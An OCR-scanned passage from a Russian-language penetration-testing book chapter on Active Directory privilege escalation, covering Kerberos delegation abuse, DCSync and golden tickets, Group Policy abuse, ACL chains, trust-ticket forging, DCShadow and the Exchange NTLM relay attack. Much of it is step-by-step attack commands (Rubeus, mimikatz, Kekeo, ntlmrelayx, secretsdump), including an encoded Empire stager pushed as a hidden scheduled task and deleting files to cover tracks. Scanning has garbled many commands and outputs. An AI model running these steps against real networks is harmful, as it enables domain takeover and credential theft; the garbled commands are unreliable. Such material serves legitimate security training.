мы скомпрометировали сам хост либо пользователя, имеющего право управлять
хостом с делегированием.
Обнаружить все компьютеры с неограниченным делегированием Kerberos очень
просто: у них будет выставлен флаг TrustedForDelegation. Это определяется с помо
щью инструмента ADModule (https://github.com/samratashok/ADModule), а кон
кретнее - следующей команды:
PS С : \> Get�ADComputer -Filter ( TrustedForDelegation -eq $True )
Того же результата можно достигнуть, выполнив такую команду PowerView:
PS С : \> Get-DomainComputer-Unconstrained
Теперь нужно отослать запрос MS-RPRN RpcRemoteFindFirstPrinterChangeNotification
(аутентификация Kerberos) на сервер печати DC (служба Spooler). DC немедленно
Глава 2
36
отправит ответ, который включает TGS (полную копию TGT) учетной записи ком
пьютера контроллера домена, т. к. на нашем хаете используется неограниченное
делегирование.
Чтобы это сделать, сначала поставим прослушивание входящих соединений с по
мощью Rubeus (https://github.com/GhostPack/RuЬeus):
С : \> RuЬeus . exe monitor /interval : l
Теперь инициируем запрос с помощью SpoolSample (https://github.comЛeechristensen/
SpoolSample):
С : \> . \SpoolSample . exe DC . domain . dom yourhost . domain . dom
В Rube1,1s мы увидим подключение (рис. 2.8).
Ses s i onKeyType
a e s 2 S б c t s hmac shal
KeyExpirationTime
1 2 / 3 1 / 1600 4 : 00 : 00 PN
Е х TSZ4AKНJSF ckc
Base64SessionKey
T i c ketFlags
gG4 ЗmHSSIB j Sd r бugkЗYxCS 7qi V0=
nате canon i c a l i z e , pre authent , rеnенаЫ е , forwarded ,
-
4 / 2 8f2019 1 : 59 : 34 AN
Start Т i me
for1.1arddЬle
4/ 28/2019 1 1 : 59 : 34 АН
E nd Т i me
5/ 5/2019 1 : 59 : 34 АН
RenewUnt i l
е
T i meSkew
E n c odedT i c ke t S i z e
1276
Baseб4EncodedT i c ket
doI E +DCCBPSgA1< IBBaEDдgEWoo l E B j CCBA JhggP+NI ID+qADAgE F 0QwbCkhBQ0t F U i 5NQUKiHzAdoAHCAQKhF jAUGwZrcmJ0Z ЗQb
С khBQ0t F U i SHQUK j ggPCШ 1 DvqADAgE SoQHCAQK i ggOi,16 l IDrEdBkHЛ.lheUysHkb+pVPt Z Т Е ЬсН J JYcбDL ex78ByRQqqqo I Bv ЗhУ
0 3] RNЗbDIDkxl HAVI LH2ZQ3Q+9;vYWxE 4vcrnбx з) hc \'X�h/ L ) т Hln1б TQt u4kSyUj ( ХХА/ ЗgbUzбHoyV/ BYBL 1 с 3a5gXm;Nz Sqec хе
б3nGбwhA 3 i fWk LgZu t f u 3 3 5h2NlmJ LcNS/ St•1QeЬf·\nFNTZn1j SwNPDz rhkeAdk82 FX+dc F I n I t Е 1 нyAdohj 9 s j KYs0+Ut У4Ы 1 1 R 7
YnK бhxQHOQ06\•0DoXYOT I t аоНр84 L >1j +AoRubyQUxHYoHNU9fhE y tBSm/ I а Bnp F i +Ао J 198BV7 s ЗQ>1е RDd9hyxga0 2 У01 r C u9 Z Р 3
79X\Г/gl YjvvrBvDf F 70YDXbSYVheKPUfhRs3mН09Rrdeб9vaYN356onH1vn1h7 i i l 5ftB203X9aNZWo3L TBxSdpd7 v I S K c j 3 i mc J00
Рис. 2.8.
Подключение Rubeus
Теперь получим TGT:
С : \> RuЬeus . exe ptt /ticke t : doIE+DCCBPSgAwIBBaE
С : \> RuЬeus . exe klist
Имея TGT, мы можем выполнить DCSync-aтaкy с помощью mimikatz (рис. 2.9):
# # lsadump : : dcsync /use r : НACКER\krbtgt
krbtgt
Obj ec t RON
· •
SAH ACCOUNT • •
SAH Username
Account Туре
krbtgt
r
User Account Control
30000000 ( U S E R_OB J E C T )
00000202 ( ACCOUNTDISAB L E NORHA L_ACCOUflJT )
Account expi r a t i on
АМ
P a s sword l a s t c hange
1 1 / 2 1 / 20 1 8 4 : 30 : 24
Obj e c t Security I D
5 - 1 - 5 - 2 1 - 1 55955804 6 - 14676 2 2 6 3 3 - 168486 2 2 5 - 502
Obj e c t R e l at i v e ID
502
C redent i al s :
нash NТLH :
9974f218204d6b8109ea99ae9c209f23
n t lm- 0:
9974f2 18204dбb8109ea99ae9c209f23
lm
Зес 7 с ЬЬЬ6 7d0с69Ь8 3 18500а 5 е 5 с 7 4 3 7
-
0:
Рис. 2.9.
DCSync krЬtgt
Актуальные методы повышения привипегий
37
Мы добыли NTLM-xeш учетной записи krbtgt и теперь можем сделать golden ticket,
с которым получим полный доступ ко всей инфраструктуре домена:
## kerberos : : golden /user : Administrator /domain : domain . dom /sid : S -l-5-21 - 1 5 5 9 5 5 8 0 4 61 4 67 62 2 633- 1 6 8 4 8 6225 /krbtgt : 99 7 4 f2 1 8 2 04d6b 8 1 0 9ea99ae9c2 09f23 /ptt
Теперь можно удаленно подключиться к контроллеру домена с учетной записью
администратора:
PS С : \> Enter-PSSession -ComputerName dc
Ограниченное делегирование
Не вдаваясь в подробности реализации S4U2Self/S4U2proxy, можно сказать, что
любые учетные записи с SPN (Service Principal Name ), имеющие в свойствах уста
новленный атрибут msDS-AllowedToDelegateTo, могут выдавать себя за любого пользо
вателя в домене.
Если бы можно было изменить содержимое msDS-AllowedToDe legateTo для произволь
ной учетной записи, мы могли бы выполнить DCSync-aтaкy на текущий домен. Но
для изменения любых параметров делегирования на контроллере домена нужно
иметь привилегию SeEnaЫeDe legationPrivilege. По умолчанию такими правами об
ладают только учетные записи администраторов домена.
Первое расширение, которое реализует ограниченное делегирование, - S4U2self.
Оно позволяет службе запрашивать у себя специальный перенаправляемый TGS от
имени конкретного пользователя. Такой механизм предназначен для случаев, когда
пользователь авторизуется в сервисе без использования Kerberos (в нашем приме
ре - с веб-сервисом).
Во время первого запроса TGS будет установлен флаг переадресации, чтобы воз
вращаемый TGS был помечен как пересьmаемый и мог использоваться с расшире
нием S4U2proxy. При неограниченном делегировании для идентификации пользо
вателя применяется TGT, в этом случае расширение S4U использует структуру
PA-FOR-USER в качестве нового типа в поле данных [padata] /pre-authent ication.
S4U2self может выполняться для любой пользовательской учетной записи, при
этом пароль целевого пользователя не требуется . Кроме того, S4U2self разрешает
ся, только если учетная запись запрашивающего пользователя имеет флаг TRUSTED
_
ТО AUTH FOR DELEGATION.
-
-
-
Существует вид атак под названием Kerberoasting - они предназначены для извле
чения служебных учетных записей из Active Directory от имени обычного пользо
вателя без отсылки пакетов в целевую систему. Почему в рассматриваемом нами
случае не получится извлечь с использованием KerЬeroasting данные любого поль
зователя, которого мы захотим? Потому что сертификат Privilege Account Certificate
(РАС) подписан для исходного (а не целевого) пользователя (в данном случае для
запрашивающей учетной записи службы). Но зато теперь у нас есть специальный
билет службы, который можно переадресовать целевой службе, настроенной для
ограниченного делегирования.
Глава 2
38
Второе расширение, использующее ограниченное делегирование,
S4U2proxy.
Оно позволяет вызывающей стороне (в нашем случае учетной записи службы) ис
пользовать этот перенаправляемый билет, чтобы запросить TGS к mобому SPN,
перечисленному в msDS-AllowedToDelegateтo, для олицетворения указанного на этапе
S4U2self пользователя. КDС проверяет, есть ли запрашиваемый сервис в поле msDs
AllowedToDelegateтo запрашивающего пользователя, и выдает билет, если эта провер
ка прошла успешно.
-
Таким образом, мы можем определить критерий поиска ограниченного делегирова
ния - ненулевое значение msDS-AllowedToDelegateтo:
PS С : \> Get-DomainComputer -TrastedToAuth
PS С : \> Get-DomainUser -TrastedToAuth
Учетная запись компьютера или пользователя с SPN, указанным в msDS
AllowedToDe legateTo, может олицетворять mобого пользователя в целевой службе.
Поэтому, скомпрометировав одну из этих учетных записей, вы можете захватить
привилегии доступа к целевому SPN.
Для MSSQLSvc это позволило бы получить права администратора баз данных. CIFS
откроет полный удаленный доступ к файлам. НТТР позволил бы захватить удаленный
веб-сервис. LDAP - произвести DCSyпc. HТТP/SQL, даже если они не имеют повы
шенных прав администратора в целевой системе, также моrут быть использованы для
по вышения прав до System.
С использованием описанного принципа можно провести четыре атаки на повыше
ние привилегий в системе.
Рассмотрим первый вариант. Если вам известен пароль от учетной записи, для ко
торой включено ограниченное делегирование, можно использовать Kekeo
(https://github.com/gentilkiwi/kekeo) для запроса TGT, выполнить запрос S4U TGS
и затем получить доступ к целевой службе.
Выполняем запрос TGT для учетной записи пользователя с включенным ограни
ченным делегированием (к примеру, SQLService):
С : \> asktgt . exe /usе r : Пользователь /doma in : дoмeн /pas sword : napoль
/ticket : sqlservice . kirbi
Теперь выполняем S4U2proxy с полученным TGT. В результате у нас будет TGS
для доступа к приватному ресурсу в домене:
С : \ > s4u . exe /tgt : sqlservice . kirbi /user : Administrator@дoмeн
/service : cifs /pecypc_в_дoмeнe
Используем mimikatz, чтобы применить TGS:
## kerberos : : ptt файл_с_полученным_ТGS
В итоге мы получаем доступ к приватному ресурсу. Если вы можете скомпромети
ровать учетную запись компьютера, которая настроена для ограниченного делеги
рования, подход к атаке будет несколько другим. Поскольку любой процесс, вы
полняющийся с системными привилегиями, получает привилегии учетной записи
локального компьютера, мы можем пропустить шаг с asktgt . ехе. Также можно ис-
Актуальные методы повышения привипегий
39
пользовать альтернативный метод для выполнения процесса S4U2proxy, предостав
ленный Microsoft. Для этого откроем PowerShell и выполним следующий код:
PS С : \> $Null
=
[ Reflection . AssernЬly] : : LoadWithPartia lNarne ( ' System. IdentityModel ' )
PS С : \ > $ Ident = New-Obj ect System . Securit y . Principa l . Windowsident ity
@ ( ' Administrator@domain . dom ' )
PS С : \> $Context
=
$ I dent . Impersonate ( )
Теперь, когда мы применили TGS указанного пользователя, мы можем снова рабо
тать с приватным ресурсом. Затем вернемся в свое пользовательское пространство
следующей командой PowerShell:
PS С : \> $Context . Undo ( )
В третьем случае выполняются все те же действия, что и в первом, только вместо
пароля используется NТLМ-хеш пользователя. Четвертая атака аналогична треть
ему варианту, только вместо имени пользователя берется имя компьютера.
Ограниченное делегирование на основе ресурсов
Эта разновидность ограниченного делегирования очень похожа на обычное огра
ниченное делегирование, но работает в противоположном направлении.
Ограниченное делегирование из учетной записи А в учетную запись В настраивает
ся для учетной записи А в атрибуте msDS-AllowedToDe legateтo и определяет «исходя
щее>> доверие от А до В.
Ограниченное делегирование на основе ресурсов настраивается для учетной записи
В в атрибуте msDS-AllowedToActOnBehalfOfOtheridentity и определяет «входящее» до
верие от А до В.
Чтобы повысить привилегии во втором случае, нужно указать в атрибуте msDS
AllowedToActOnBehalfOfOtheridenti t y учетную запись контролируемого нами компью
тера. Метод сработает, если мы знаем набор имен SPN для объекта, к которому
ХОТИМ получить доступ. Дело В ТОМ, ЧТО С параметром MachineAccountQuota (по умол
чанию он позволяет каждому пользователю создавать десять учетных записей ком
пьютеров) это легко сделать из-под непривилегированной учетной записи. Единст
венная привилегия, которая нам понадобится, - это возможность записать атрибут
на целевой компьютер.
Создаем учетную запись, к которой мы будем иметь полный доступ, с помощью
PowerMad (https://github.com/Кevin-Robertson/Powermad) и указываем пароль
компьютера, чтобы у нас был хеш для него.
PS С : \ > $password
=
ConvertTo-SecureString ' PASSWORD ' -AsPlainText -Force
PS С : \> New-MachineAccount -ma chineaccount RВCDmachine -Pas sword $ ( $password)
Теперь нужно заполнить атрибут msDS-AllowedToActOnBehal fOfOtheridentity для целе
вого DC, на который у нас имеются разрешения:
PS С : \> Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount
RВCDmachine$
Глава 2
40
PS С : \> Get-ADComputer $targetComputer -Properties
PrincipalsAllowedToDelegateToAccount
На следующем этапе нужно получить хеш нашего пароля:
PS С : \> ConvertTo-NTHash $password
Теперь, когда у нас есть все необходимое для атщш, получим билет:
С : \> s 4 u . exe /user : RВCDmachine$ /rс4 : хеш / impersonateuser : пoльзoвaтeль
/msdsspn : cifs /pecypc /ptt
Мы получим тикет, проверить который можно так:
## klist
Таким образом нам открывается доступ к ресурсу на кщпроллере домена. Этим же
способом можно выполнить DCSync через LDAP.
Н ебезо п асные п ра ва доступа
к объекту групповой политики
Объекты групповой политики - это контейнеры Active Directory, используемые
для хранения объединенных в группы параметров политики. Эти объекты затем
связываются с конкретными сайтами, доменами или с какими-либо организацион
ными единицами (Organizational Unit - OU). Объекты групповой политики пред
ставляют собой очень сложные структуры, состоящие из связей, наследований,
исключений, фильтров и групп. При конфигурации доменов в этом болоте часто
допускают ошибки, которые невооруженным взглядом и не видны. Найти эти
ошибки и показать путь компрометации объекта групповой политики поможет ин
струментарий BloodHound <https://github.com/ВloodHoundAD/ВloodHound).
Предположим, что в объектах групповой политики имеется скомпрометированный
элемент. Групповая политика имеет огромное количество параметров, которыми
можно манипулировать. Это дает несколько способов скомпрометировать машины
и пользователей, имеющих отношение к уязвимому объекту.
Например, можно выполнить определенные сценарии, настроить бэкдор в lnternet
Explorer, выдать МSI-файл в разделе «Установка программного обеспечения)), до
бавить свою учетную запись домена в группу локальных администраторов или RDP
либо принудительно смонтировать сетевой ресурс (который находится под нашим
контролем, что дает возможность завладеть учетными данными подключившихся
пользователей).
Для реализации задуманного можно запустить запланированную задачу, которая
удаляется сама при каждом обновлении групповой политики. Эта часть атаки
довольно проста - нам нужно· создать шаблон . xml в виде schtask, а затем скопиро
вать его в файл <GPO_PATH>\Machine\ Preference s \ScheduledTasks\ScheduledTasks . xml объ
екта групповой политики, который мы можем редактировать. Подождав час-два до
завершения цикла обновления групповой политики, мы удалим файл xml, чтобы
замести следы.
.
Актуальные методы повышения привилегий
41
Модуль PowerView New-GPOimmediateTask может сделать это автоматически. Чтобы
воспользоваться им, потребуется аргумент -Ta s kName, -command, который задаст
команду для запуска (по умолчанию - powershell . exe), а параметр -CommandArguments
указывает аргументы для данного исполняемого файла. Описание задачи, ее автора
и дату модификации также можно изменить с помощью соответствующих парамет
ров. Файл schtask . xml создается в соответствии с вашими спецификациями и копи
руется в местоположение, определяемое аргументами -GPOname или -GPODisplayname.
По умолчанию функция спрашивает разрешения перед копированием, но эту оп
цию можно отключить с использованием аргумента•-Fоrсе.
Давайте используем New-GPOimmediateTask, чтобы загрузить Stager Empire (рис. 2. 1 0)
на машины, где применяется объект групповой политики { ЗЕЕ4ВЕ4Е-7397-44 ЗЗ-А9F1ЗА5АЕ2F5 6ЕА2 } (отображаемое имя SecurePolicy) :
New-GPOimmediateTask -Tas kName Debugging -GPODisplayName SecurePolicy CommandArguments ' -NoP -NonI -w Hidden -Enc JAВXAGМAPQBO . . . ' -Force
Полученный результат демонстрирует, насколько опасны ошибки в групповых
политиках домена.
Рмс. 2.10.
Empire stager в New-GPOlmmediateTask
Глава 2
42
Н ебезо пасные п рава досту па ACL
ACL (списки контроля доступа) - это набор правил, которые определяют, какие
объекты имеют разрешения для иного объекта в среде Active Directory,. Такими
объектами могут быть учетные записи пользователей, группы, учетные записи
компьютеров, сам домен и многое другое.
ACL может быть настроен для отдельного объекта, такого как учетная запись поль
зователя, но также его можно настроить и для OU. Основное преимущество на
стройки ACL в OU состоит в том, что при правильной настройке все объекты
потомки будут наследовать·АСL. ACL OU, в котором находятся объекты, содержит
элемент управления доступом (Access Control Entry, АСЕ). Он определяет иденти
фикатор и соответствующие разрешения, применяющиеся к OU или нисходящим
объектам. Каждый АСЕ включает в себя SID и маску доступа, причем АСЕ могут
быть четырех типов: «доступ разрешен», «доступ отклонен», «разрешенный объ
ект» и «запрещенный объект». Разница между типами «доступ разрешен» и «раз
'
решенный объект» состоит только в том, что последний тип используется исклю
чительно в Active Directory.
Рассмотрим пример атаки, использующей t1еправильную настройку ACL. Предпо
ложим, мы уже собрали исходную информацию с помощью BloodHound, поэтому
сразу перейдем к стадии повышения привилегий.
BloodHound строит граф, где целевой группой выступает группа «Администраторы
домена» (рис. 2. 1 1 ).
А
DOMAIN ADMIN
14
sll���!���- J
·
�
Рис. 2.1 1 . Граф, построе нный BloodHound
.
Актуальные методы повышения привилегий
43
Слева находится пользователь с относительно ,низкими привилегиями и путь атаки
только для ACL, который в итоге контролирует группу администраторов домена.
Этот пользователь - член группы безопасности (MemberOf) в центре. Эта группа
имеет полный контроль (GenericAll) над пользователем справа. Так как ACL насле
дуется"то пользователь слева тоже имеет такой контроль (рис. 2 . 1 2).
MemЬert>f
Рис. 2.12.
GenericAJI
Первый этап продвижения к целевой группе
GenericAll означает полный контроль над объектом, включая возможность добав
лять других участников в группу, изменять пароль пользователя, не зная текущего,
регистрировать SPN. Эксплуатируется эта возможность с помощью set
DomainUserPas sword ИЛИAdd-DomainGroupMemЬer.
Идем дальше. Пользователь слева принадлежит группе в середине. Эта группа име
ет как полный (GenericAll), так и избыточный (ForceChangePassword) контроль над
пользователем слева (рис. 2 . 1 3 ).
Рис. 2.13.
Второй этап продвижения к целевой группе
ForceChangePassword подразумевает возможность изменить пароль целевого поль
зователя, не зная текущего. Эксплуатируется с помощью set-DomainUserPas sword.
Завершающий этап (рис. 2. 1 4). Группа слева имеет привилегию ForceChangePassword
в отношении нескольких пользователей, которые принадлежат к группе в центре.
Эта группа в центре обладает полным контролем над группой справа («Админист
раторы доменю>).
о
Рис. 2.14.
Завершающий этап продвижения к целевой группе
Глава 2
44
Важное замечание: контроль над группой «Администраторы домена» может озна
чать, что мы получи'ли контроль над пользователями в этой группе. В таком случае
мы создад»м своего пользователя и добавим его в данную группу. После этого мы
можем выполнить DCSync-aтaкy и, чтобы скрыть свои следы, удалить созданного
пользователя.
Вот так мы используем BloodHound и ошибки конфигурации ACL, чтобы получить
контроль над доменом. Не могу не упомянуть об автоматизированном варианте
этой атаки, с испояьзованием скрипта Invoke-ACLPwn (https://github.com/
Ralfilacker/lnvoke-ACLPwп). Инструмент экспортирует с помощью SharpHound
все списки ACL в домене, а также членство в группе учетной записи пользователя,
под котор0й он запускается.
Когда цепочка будет рассчитана, скрипт начнет последовательно выполнять каж
дый шаг в цепочке. При желании вызывается функция mimikatz DCSync и запра
шивается хеш учетной записи пользователя. По умолчанию будет использоваться
учетная запись krbtgt. После завершения эксплуатации сценарий удалит членство
в группах, которые бьши добавлены во время эксплуатации, а также записи АСЕ
в ACL объекта домена. Результат тестирования компанией Fox-It показан на
рис. 2 . 1 5 .
Рис. 2.15. Результат работы lnvoke-ACLPwn
Скрипт перечислил и пр0шел 26 групп, изменяя членство в группах безопасности
и управления. В итоге бьш получен хеш учетной записи krbtgt.
Доменные трасты
Часто в организации используется несколько доменов с настроенными между ними
доверительными отношениями - трастами. Эго необходимо для того, чтобы поль. зователь из одного домена мог получить доступ к сервису в другом домене.
Доверительные отношения между доменами могут быть односторонними и двусто
ронними. То есть если домен А доверяет домену Б, то домен Б может оперировать
ресурсамИ домена А. Также работает понятие транзитивности: если домен А дове
ряет домену Б, а домен Б доверяет домену В, то домен А тоже доверяет домену В.
А ктуальные методы повышения привилегий
45
Иерархическая система доменов, имеющая корневой домен, будет называться дере
вом доменов. При этом, если разные деревья находятся в разных формах довери
тельных отношений, совокупность этих деревьев будет называться лесом.
При аутентификации Kerberos между доменами, состоящими в доверительных от
ношениях (рис. 2. 1 6), контроллер домена пользователя шифрует TGS не ключом
службы, а общим ключом. Пользователь передает этот TGS контроллеру домена
службы, а тот вернет ему TGS, зашифрованный ключом службы. Только теперь
пользователь может обратиться к тому ресурсу, к которому хотел.
Рис. 2.1 6. Схема аутентификации KerЬeros между доверенными доменами
NТLМ-аутентификация (рис. 2. 1 7) в данном случае отличается тем, что контроллер
домена службы, проверив разрешения для аутентификации, передает запрос на
контроллер домена клиента. Именно он проводит проверку и возвращает результат.
Схему аутентификации в доверенных доменах мы разобрали, как скомпрометиро
вать DC в домене - тоже. Теперь разберемся, как скомпрометировать другой дове
ренный домен.
Глава 2
46
1. Польэоаатеrъ запрашивает
4. Сервер аmравляет
DOMAIN-A\USERNAME
challenge м r'\!Sponse
на ОС в DOMAIN·B
дociyn и аmравляет
DOMAIN·A\USERNAME
2 Сервер оmрааляеr
сообЩение challenge
ос в
DOMAIN-A
з_ КnмеtП отправляет
Клиент в
OOMAIN·A
сообЩение response
сервер аmравляет
результат аутекrифмкации
клиен�у
в.
Сервер в
7. О!Вет оО
DOMAIN-B
аутеt11Ифиt<ацмм
nольэоаателя
DС в
OOМAIN·B
Рис. 2.17. Схема аутентификации NTLM между доверенными доменами
Пароль доверйя можно отыскать в хранилище учетных данных домена. Для этого
нужно найти имя со знаком доллара на конце. Большинство учетных записей с по
добными именами - это учетные записи компьютеров, но некоторые будут тра
стовыми (рис. 2. 1 8).
Рис. 2.1 8. NTlM-xew доверенной учетной записи
Ключ доверия был извлечен вместе со всеми пользовательскими данными при ком�
прометации учетных данных Active Directory. Каждое доверие включает связанную
учетную запись пользователя, которая содержИ'Г' этот хеш пароля NTLM. Указан
ные данные могут быть использованы для подделки доверительных TGS.
Доверенный билет создается так же, как «золотой билет». Для этого используется
та же команда mimikatz, но с разными параметрами. Ключ службы - это хеш
пароля доверенного NTLM, а целью будет полное доменное имя целевого домена.
## kerberos : : golden /dоmа i n : текущий домен /sid : S I D домена /rc4 : NTLМ хеш
/user : Administrator /service : krbtgt /target : цeлeвoЙ_дoмeн
/tiсkеt : nуть_для_сохранения_билета
Теперь, получим TGS для целевой службы в целевом домене, используя Кеkео
(https://github.com/gentilkiwi/kekeo)
.
С : \ > asktgs . exe сохраненный_билет сifs /полное_имя_целевой_службы
О том, как применять полученный тикет, я рассказывал выше. Teпepii? рассмотрим,
как подделать TGS внутри леса. Первым делом извлекаем все, трастовые довери
тельные ключи:
Актуальные методы повышения привилегий
47
## Privilage : : debug
## Lsadump : : trust /patch
И создаем поддельный доверительный TGT:
## kerberos : : golden /dоmаin : текущий_домен /sid : S I D_дoмeнa /sids : S ID_цeлeвoгo домена
/rc4 : NTLМ хеш /usе r : Пользователь /service : krbtgt /tаrgеt : целевой домен
/ticket : путь _для_сохранения_билета
·
-
Затем получаем TGS:
С : \> as ktgs . exe сохраненный_билет сi fs/nолное_имя_целевого_контроллера_домена
И внедряем TGS, чтобы получить доступ с поддельными правами:
С : \> kirЬikator l s a путь_к_ТGS
После успешного выполнения команды пользователь станет администратором и
получит повышенные права в целевом домене. Так мы можем продвигаться от
домена к домену, поскольку каждый домен имеет связанный с друтим доменом па
роль.
DCShadow
получать учетные данные пользователей и
Одна из задач злоумышленников
компьютеров, оставаясь незамеченным для средств обнаружения. С этой целью бы
ло разработано несколько методов атак: внедрение LSASS, злоупотребление тене
вым копированием, анализ тома NTFS, управление чувствительными атрибутами и
другие.
Среди всех этих атак одна связана с атакой DCShadow. Атака DCSync основана на
том, что члены групп «Администраторы домена» или «Контроллеры домена>) могут
запрашивать репликацию данных у DC. Фактически (как описано в спецификации
MS-DRSR для репликации контроллера домена) эти группы могут запрашивать
у контроллера домена репликацию объектов AD (включая учетные данные пользо
вателя) через RPC GetNCChanges. DCSync-aтaкa с использованием mimikatz выглядит
следующим образом:
·
## lsadump : : dcsync /user : Administrator
Одно из основных ограничений атаки DCSync
злоумышленник не сможет вне
дрить новь1е объекты в целевой домен. Он может стать владельцем административ
ной учетной записи, используя Pass-The-Hash, и впоследствии вводить новые
объекты. Но для этого требуется больше усилий, больше шагов, что повышает ве
роятность обнаружения. Атака DCShadow снимает это ограничение. С помощью
DCShadow злоумышленники больше не пытаются реплицИровать данные, а реги'?т
рируют новые контроллеры домена в целевой инфраструктуре для внедрения объ
ектов Active Directory или изменения существующих.
-
Сервер можно назвать контроллером домена, если он предлагает четыре ключевых
компонента:
Глава 2
48
LDAP и реали
зовывать несколько RPC в соответствии со спецификациями MS-DRSR и
MS-ADTS, т. е. позволять репликацию данных;
lj базу данных, которая должна быть доступна через протоколы
lj сервис аутентификации, доступный через протоколы
или
Kerberos, NTLM, Netlogon
WDigest;
lj систему управления коцфигурацией, использующую протоколы
lj сервис
SMB и LDAP;
DNS, используемый клиентами дЛЯ поиска ресурсов и поддержки аутен-
тификации.
Помимо всего этого, новый
DC должен быть зарегистрирован сервисом КСС (сред
ство 'проверки согласованности знаний). КСС - это встроенный процесс, который
выполняется на всех контроллерах домена и создает топологию репликации для
леса
Active Directory. КСС создает отдельные топологии репликации. Эгот сервис
также динамически корректирует топологию, чтобы она соответствовала добавле
нию новых контроллеров домена и удалению существующих контроллеров домена.
По умолчанию КСС запускает репликацию каждые
15
минут.
Обеспечить все это можно при выполнении следующих условий: атака должна
быть выполнена с компьютера в домене, у атакующего имеется привилегия
System
на компьютере и привилегия администратора домена в самом домене. Первым де
лом с помощью
mimikatz повышаем свои привилегии до System (рис. 2. 1 9).
Рис. 2.19. Получение привилегии System с помощью mimikatz
Теперь мы должны изменить значение
userAccountControl:
lsadurnp : : dcshadow /object : pc-10$ /atribute : userAccountControl /value : 53 2 4 8 0
Передаем соответствующий атрибут:
lsadurnp : : dcshadow /push
После выполнения команды увидим, как значения обновляются, а RРС-сервер ос
танавливается. Можно считать, что мы зарегистрировали новый контроллер доме
на, с которым можно производить дальнейшие операции.
Актуальные методы повышения привилегий
49
Exchange
Основная уязвимость в инфраструктуре этого программного продукта такова.
Exchange обладает высокими привилегиями в домене Active Directory. Группа
Exchange Windows Permissions имеет доступ WriteDacl в Active Directory, что по
зволяет любому члену этой группы и.з менять привилегии домена, среди которых
есть привилегия
для реализации атаки DCSync.
Чтобы выполнить произвольный код на хостах в сети, можно использовать особен
ности передачи аутентификации NTLM через SMB. Но другие протоколы также
уязвимы для ретрансляции. Наиболее интересен для этого протокол LDAP, кото
рый можно использовать
для
чтения и изменения объектов в каталоге. Дело в том,
что при подключении сервера с Windows к компьютеру злоумышленника сущест
вует возможность передать автоматическую проверку подлинности пользователя
в системе другим машинам в сети, как показано на рисунке. Такой прием называют
rеlау-атакой (рис.
2.20).
1 : Negotlate а ulhe nll са 11о п
1 : Negotlate aulhenlicatlon
11 =•
Q
2: Copled server challenge
.....,___
Э: Aulhenllca\e (wllh signed challenge)
Г1
J.:..L
11
2: Server challenge
З: Aulhenllcate
(copled slgned challenge)
Aulhenllcallon ОК
Aulhentlcallon falled
Retayed interacllo п
Рис. 2.20.
Схема rеlау-атаки
Когда аутентификация передается в LDAP, объекты в каталоге могут быть измене
ны.
В результате этим объектам предоставляются привилегии злоумышленника,
включая привилегии, необходимые
для
операций DCSync. Таким образом, мы
должны заставить сервер Exchange проходить аутентификацию с помощью NTLM.
Для этого необходимо заставить Exchange аутентифицировать нашу систему.
Можно Заставить Exchange аутентифицироваться по произвольному URL-aдpecy
через НТТР с помощью
функции Exchange
PushSuЬscription.
домлений имеет возможность отправлять сообщения каждые
Служба рush-уве
Х минут (где Х может
быть указан злоумышленником), даже если событие не произошло. Эrо гарантиру
ет, что Exchange подключится к нам, даже если в папке входящих сообщений нет
активности. Схема атаки показана на рис.
2.2 1 .
Инструменты для выполнения такой атаки входят в состав пакета impacket
(https://github.com/SecureAutbCorp/impacket). Сначала для ретрансляции LDAP
Глава 2
50
1 . PushSuЬscrlptlon EWS Cal
2. НТТР connectlon - NТLM authenlicatlpn
Атвкующий
с ипущенным
ntlmrelayx
З. NTLМ authentlcallon lorwarded (relaylng)
4. изменение 11>Иllllllehol
е домене (t мс:оольэоеанием
учетной З8ПИСИ Exch81QE! server)
5. Выnопнение BТllJIИ DCSync
смнхронм38ЦМЯ xeшeil
и
KotnpOМep домена
Рис. 2.21. Схема DСSупс-атаки с использованием рush-уведомлений
запустим ntlrnrelayx, укажем подконтрольного нам пользователя и контроллер до
мена.
ntlrnrelayx . py -t ldap : / /DC . domain . dom --escalate-user USER
Теперь используем privexchange:
privexchange -ah Attacker_host Exchange_host
-u
USER �ct DOМEN
Тут есть одно важное «НО)): пользователь должен иметь почтовый ящик на нашем
Exchange-cepвepe.
Через некоторое время (когда будет оmравлено рush-уве
домление) в ntlrnrelayx можно �аблюдать вывод,' показанный на рис.
1 · 1 rr·o t o c o \ О iепт
2.22.
t·15SOL 1 oaded . .
l ' I P ro t oc o l С \ !Cfll НПРS \ oaded .
1 · 1 P r· o 1 o c o l C l i e п t IПТР loaded .
1 ' ] Р r· о т осо\ C t i cпt l.DAf'S 1 oaded
1 · 1 P r o t o c o \ C l ie п t LDAP loaded . .
1 ' 1 Pr·otocol C l 1e11t Sl-18 loaded . .
[ · ] r r·otoco\ C \l ent 51-ПР loaded . .
[ ' ) P r o t o c o l C \ 1 e n t ШАРS loaded . .
[ ' ) Pr·otoco l С\ ieпt !НАР \oaded .
[ · ) Ruвn1ng i в r· e \ a y mode t o s i ngl e host
[ ' ) Sett ing up SHB Serveг
[ • J S e t t.iпg нр НТТР Server
[·J
Seгvers s t a rt ed , wa 1 t 1 n g f o r connect i ons
[ · J НПРD : R e c c i ved c o1111e c r 1 o n fгот 192 . 1 68 . 2 22 . 1 0 3 , a t t a c k 1 пg t м get l d з p : / / s20lбd c . tes t s egn1en t . l o c a l
( • } HTTPD : C \ i e n t requested p a t h : / p r1vexchange/
[ • ] НТТРО : Rece1ved con11ection f r·om 192 . 168 . 22 2 . 103 , a t t a c k ing t ы g e r l d a p : / / s 2 0 1 6d c . t e s t segmen t . l o c a 1
[ • } HTTPD·: C t ient r e q u e s t e d pat h : / p r 1vexchange/
[ · ] НТТРD : C l ient гeql1es ted pat h : / p r 1vexchange/
[ ' ) Authent icat ing aga i n s t \ dap : / / s 2 0 1 6d c . t e s t segmen t . l o c a l a s TEST5EGMENT\52 B l 2 E X C S SUCCEED
[ • ) Enume r a t i n g relayed usef' s p r i v i l eges . Th1s may t a ke а wh i l e оп l a rge doma i n s
[ · j U s e r p ri v i leges found : C rea t e u s e r
f • I U s e r u r i v 1 1 eaes found : Modi f v ina domatn A C L
Рис. 2.22. Успешный relay в ntlmrelayx
Актуальные методы повышения привилегий
51
Это означает, что у нашего пользователя есть привилегии для DCSync (рис. 2.23):
secretsdump domain/user@DC - j u s t-dc
Таким образом Exchange позволяет нам получить репликацmо учетных данных.
\•J
1•J
Dump1ng Doma1n Creden t i a t s ( doma i n \ u 1 d . r 1d : lmhas h : c t h a s h l
U s i n g l he DRSUAPI method to get NTDS . D I T sec re t s
